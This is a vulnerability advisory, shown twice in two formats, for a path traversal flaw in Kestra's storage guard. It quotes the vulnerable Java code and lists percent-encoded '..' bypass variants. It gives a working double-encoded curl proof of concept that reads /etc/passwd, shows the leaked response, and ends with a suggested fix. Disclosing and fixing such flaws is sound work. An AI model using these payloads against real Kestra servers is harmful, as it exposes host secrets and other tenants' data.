Summary
Several Kestra API endpoints accept a kestra:// URI from the client and pass it through StorageInterface.parentTraversalGuard before reading the underlying file from the local storage backend. The guard only inspects the literal URI.toString(), so a URL-encoded .. written as %2E%2E slips through. The downstream code then calls URI.getPath(), which decodes %2E%2E back to .., and the resulting path is handed to Paths.get(...) without normalization. The OS resolves the .. segments at open(2) time, so an authenticated user with a single execution can read any file the Kestra process has access to on the host filesystem (/etc/passwd, mounted secrets, other tenants' execution outputs, etc.).
Details
Root cause is in core/src/main/java/io/kestra/core/storages/StorageInterface.java:
default void parentTraversalGuard(URI uri) {
if (uri != null && (uri.toString().contains(".." + File.separator)
|| uri.toString().contains(File.separator + "..")
|| uri.toString().equals(".."))) {
throw new IllegalArgumentException(
"File should be accessed with their full path and not using relative '..' path."
);
}
}
A URI such as kestra:///ns/flow/executions/abc/%2E%2E/%2E%2E/etc/passwd keeps the %2E%2E sequences intact when serialized via URI.toString(). The guard sees no literal .. and returns. The very next call uses URI.getPath(), which decodes percent-escapes per RFC 3986, so %2E%2E becomes ... The decoded value is then concatenated onto the storage base path with Paths.get(...), which does not normalize .. segments. FileInputStream issues open(2) on the resulting string and the kernel walks the .. parts, escaping the storage directory.
Caller chain in storage-local/src/main/java/io/kestra/storage/local/LocalStorage.java:
protected Path getPath(URI uri, Path basePath) {
if (uri == null) return basePath;
parentTraversalGuard(uri); // bypassed
return Paths.get(basePath.toString(),
windowsToUnixPath(uri.getPath())); // decoded ".."
}
public InputStream get(String tenantId, @Nullable String namespace, URI uri) throws IOException {
return new BufferedInputStream(
new FileInputStream(getLocalPath(tenantId, uri).toAbsolutePath().toString())
);
}
Controller-side prefix check in webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java:
private void validateFile(String executionId, URI path, String redirect) {
String prefix = "/" + namespaceAsPath + "/" + flowId + "/executions/" + executionId;
if (!path.getPath().startsWith(prefix)) {
throw new IllegalArgumentException(...);
}
}
validateFile is satisfied because the prefix /ns/flow/executions/abc is preserved at the start of the decoded path. The traversal segments live after the prefix, so String.startsWith returns true.
Standalone reproducer of the guard bypass against the exact source-code logic:
Variant 1: kestra:///ns/flow/exec/abc/output
Guard: pass (no ..).
Decoded path: /ns/flow/exec/abc/output.
Final path: /data/kestra/t1/ns/flow/exec/abc/output (intended).
Variant 2: kestra:///ns/flow/exec/abc/../../../etc/passwd
Guard: block. Literal .. is caught.
Variant 3: kestra:///ns/flow/exec/abc/%2E%2E/%2E%2E/%2E%2E/etc/passwd
Guard: pass (no literal .. in URI.toString()).
Decoded path: /ns/flow/exec/abc/../../../etc/passwd.
Final path after kernel resolve: /data/kestra/t1/ns/etc/passwd (escaped).
Variant 4: kestra:///ns/flow/exec/abc/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Guard: pass. Lowercase percent-escapes also bypass.
Decoded path: same as Variant 3. Same escape.
Variant 5: kestra:///ns/flow/exec/abc%2F%2E%2E%2Fetc%2Fpasswd
Guard: pass. Encoded slash plus encoded dots also bypass.
Decoded path: /ns/flow/exec/abc/../etc/passwd. Escapes one segment.
Three of the encoded variants bypass the guard and produce an escaping path.
The same bypass is reachable from five endpoints because they all funnel an attacker-controlled URI into StorageInterface.get(...) after parentTraversalGuard:
ExecutionController.downloadFileFromExecution -- GET /api/v1/{tenant}/executions/{executionId}/file
ExecutionController.getFileMetadatasFromExecution -- GET /api/v1/{tenant}/executions/{executionId}/file/metas
ExecutionController.previewFileFromExecution -- GET /api/v1/{tenant}/executions/{executionId}/file/preview
NamespaceFileController.getFileContent -- GET /api/v1/{tenant}/namespaces/{namespace}/files
NamespaceFileController.getFileMetadatas -- GET /api/v1/{tenant}/namespaces/{namespace}/files/stats
Because the bypass lives in the shared parentTraversalGuard helper, fixing only one controller will not close the other four sites.
PoC
Setup: default docker compose -f docker-compose.yml up -d against kestra/kestra:latest (version 1.3.16, OSS edition, commitId ff74250). Initialize basic auth, create the flow company.team/poc3 with a single Write task, and run it once to materialize an execution directory.
Request:
curl -i -u 'admin@kestra.io:Admin1234!' \
"http://localhost:8080/api/v1/main/executions/${EXEC}/file?path=kestra%3A%2F%2F%2Fcompany%2Fteam%2Fpoc3%2Fexecutions%2F${EXEC}%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2F%252E%252E%2Fetc%2Fpasswd"
The path query parameter uses double percent-encoding (%252E%252E) because Micronaut decodes the URL once before binding it to @QueryValue URI. After that single decode the value passed into the storage layer is kestra:///.../%2E%2E/.../etc/passwd, which is exactly the form that bypasses the guard.
Response:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="passwd"
Content-Length: 963
Content-Type: application/octet-stream
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
Container-side filesystem walk:
/app/storage/main/company/team/poc3/executions/${EXEC}
+ /../../../../../../../../etc/passwd
= /etc/passwd (resolved by the kernel inside FileInputStream open(2))
Impact
CVSS 3.1: 7.7 High. Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
Any authenticated user that holds EXECUTION:READ on at least one of their own executions can read arbitrary files outside the storage tree. On a multi-tenant deployment with shared local storage this crosses the tenant trust boundary (Scope: Changed). The Kestra container at default settings runs as a user with read access to /etc/passwd, mounted volumes, and the application's secret files. No user interaction is needed and the request is a single GET.
Affected versions: confirmed on Kestra OSS 1.3.16 (docker image kestra/kestra:latest at the time of testing, commitId ff74250) and main branch up to commit 54458a62082676a71417063be565faea59af7d16. Likely affected on all 1.x.x releases that ship the current parentTraversalGuard implementation. The guard logic has not changed between the tested release and HEAD.
Suggested fix
Decode then check, and reject any path that does not equal its normalized form:
default void parentTraversalGuard(URI uri) {
if (uri == null) return;
String decoded = uri.getPath() == null ? "" : uri.getPath();
Path p = Path.of(decoded);
if (decoded.contains("..") || !p.normalize().equals(p) || decoded.equals("..")) {
throw new IllegalArgumentException(
"File should be accessed with their full path and not using relative '..' path."
);
}
}
Defense in depth: in LocalStorage.getPath (and the equivalent helper in any other storage backend), build the resolved path with Paths.get(basePath, uri.getPath()).toAbsolutePath().normalize() and assert result.startsWith(basePath) before returning. That bounds the file read to the configured storage tree even if a future regression reintroduces a guard bypass.
References
Source files on the main branch (commit 54458a62082676a71417063be565faea59af7d16):
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).
Summary
Several Kestra API endpoints accept a
kestra://URI from the client and pass it throughStorageInterface.parentTraversalGuardbefore reading the underlying file from the local storage backend. The guard only inspects the literalURI.toString(), so a URL-encoded..written as%2E%2Eslips through. The downstream code then callsURI.getPath(), which decodes%2E%2Eback to.., and the resulting path is handed toPaths.get(...)without normalization. The OS resolves the..segments atopen(2)time, so an authenticated user with a single execution can read any file the Kestra process has access to on the host filesystem (/etc/passwd, mounted secrets, other tenants' execution outputs, etc.).Details
Root cause is in
core/src/main/java/io/kestra/core/storages/StorageInterface.java:A URI such as
kestra:///ns/flow/executions/abc/%2E%2E/%2E%2E/etc/passwdkeeps the%2E%2Esequences intact when serialized viaURI.toString(). The guard sees no literal..and returns. The very next call usesURI.getPath(), which decodes percent-escapes per RFC 3986, so%2E%2Ebecomes... The decoded value is then concatenated onto the storage base path withPaths.get(...), which does not normalize..segments.FileInputStreamissuesopen(2)on the resulting string and the kernel walks the..parts, escaping the storage directory.Caller chain in
storage-local/src/main/java/io/kestra/storage/local/LocalStorage.java:Controller-side prefix check in
webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java:validateFileis satisfied because the prefix/ns/flow/executions/abcis preserved at the start of the decoded path. The traversal segments live after the prefix, soString.startsWithreturns true.Standalone reproducer of the guard bypass against the exact source-code logic:
Variant 1:
kestra:///ns/flow/exec/abc/outputGuard: pass (no
..).Decoded path:
/ns/flow/exec/abc/output.Final path:
/data/kestra/t1/ns/flow/exec/abc/output(intended).Variant 2:
kestra:///ns/flow/exec/abc/../../../etc/passwdGuard: block. Literal
..is caught.Variant 3:
kestra:///ns/flow/exec/abc/%2E%2E/%2E%2E/%2E%2E/etc/passwdGuard: pass (no literal
..inURI.toString()).Decoded path:
/ns/flow/exec/abc/../../../etc/passwd.Final path after kernel resolve:
/data/kestra/t1/ns/etc/passwd(escaped).Variant 4:
kestra:///ns/flow/exec/abc/%2e%2e/%2e%2e/%2e%2e/etc/passwdGuard: pass. Lowercase percent-escapes also bypass.
Decoded path: same as Variant 3. Same escape.
Variant 5:
kestra:///ns/flow/exec/abc%2F%2E%2E%2Fetc%2FpasswdGuard: pass. Encoded slash plus encoded dots also bypass.
Decoded path:
/ns/flow/exec/abc/../etc/passwd. Escapes one segment.Three of the encoded variants bypass the guard and produce an escaping path.
The same bypass is reachable from five endpoints because they all funnel an attacker-controlled URI into
StorageInterface.get(...)afterparentTraversalGuard:ExecutionController.downloadFileFromExecution--GET /api/v1/{tenant}/executions/{executionId}/fileExecutionController.getFileMetadatasFromExecution--GET /api/v1/{tenant}/executions/{executionId}/file/metasExecutionController.previewFileFromExecution--GET /api/v1/{tenant}/executions/{executionId}/file/previewNamespaceFileController.getFileContent--GET /api/v1/{tenant}/namespaces/{namespace}/filesNamespaceFileController.getFileMetadatas--GET /api/v1/{tenant}/namespaces/{namespace}/files/statsBecause the bypass lives in the shared
parentTraversalGuardhelper, fixing only one controller will not close the other four sites.PoC
Setup: default
docker compose -f docker-compose.yml up -dagainstkestra/kestra:latest(version1.3.16, OSS edition, commitIdff74250). Initialize basic auth, create the flowcompany.team/poc3with a singleWritetask, and run it once to materialize an execution directory.Request:
The
pathquery parameter uses double percent-encoding (%252E%252E) because Micronaut decodes the URL once before binding it to@QueryValue URI. After that single decode the value passed into the storage layer iskestra:///.../%2E%2E/.../etc/passwd, which is exactly the form that bypasses the guard.Response:
Container-side filesystem walk:
Impact
CVSS 3.1: 7.7 High. Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.Any authenticated user that holds
EXECUTION:READon at least one of their own executions can read arbitrary files outside the storage tree. On a multi-tenant deployment with shared local storage this crosses the tenant trust boundary (Scope: Changed). The Kestra container at default settings runs as a user with read access to/etc/passwd, mounted volumes, and the application's secret files. No user interaction is needed and the request is a single GET.Affected versions: confirmed on Kestra OSS
1.3.16(docker imagekestra/kestra:latestat the time of testing, commitIdff74250) andmainbranch up to commit54458a62082676a71417063be565faea59af7d16. Likely affected on all1.x.xreleases that ship the currentparentTraversalGuardimplementation. The guard logic has not changed between the tested release and HEAD.Suggested fix
Decode then check, and reject any path that does not equal its normalized form:
Defense in depth: in
LocalStorage.getPath(and the equivalent helper in any other storage backend), build the resolved path withPaths.get(basePath, uri.getPath()).toAbsolutePath().normalize()and assertresult.startsWith(basePath)before returning. That bounds the file read to the configured storage tree even if a future regression reintroduces a guard bypass.References
Source files on the
mainbranch (commit54458a62082676a71417063be565faea59af7d16):CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).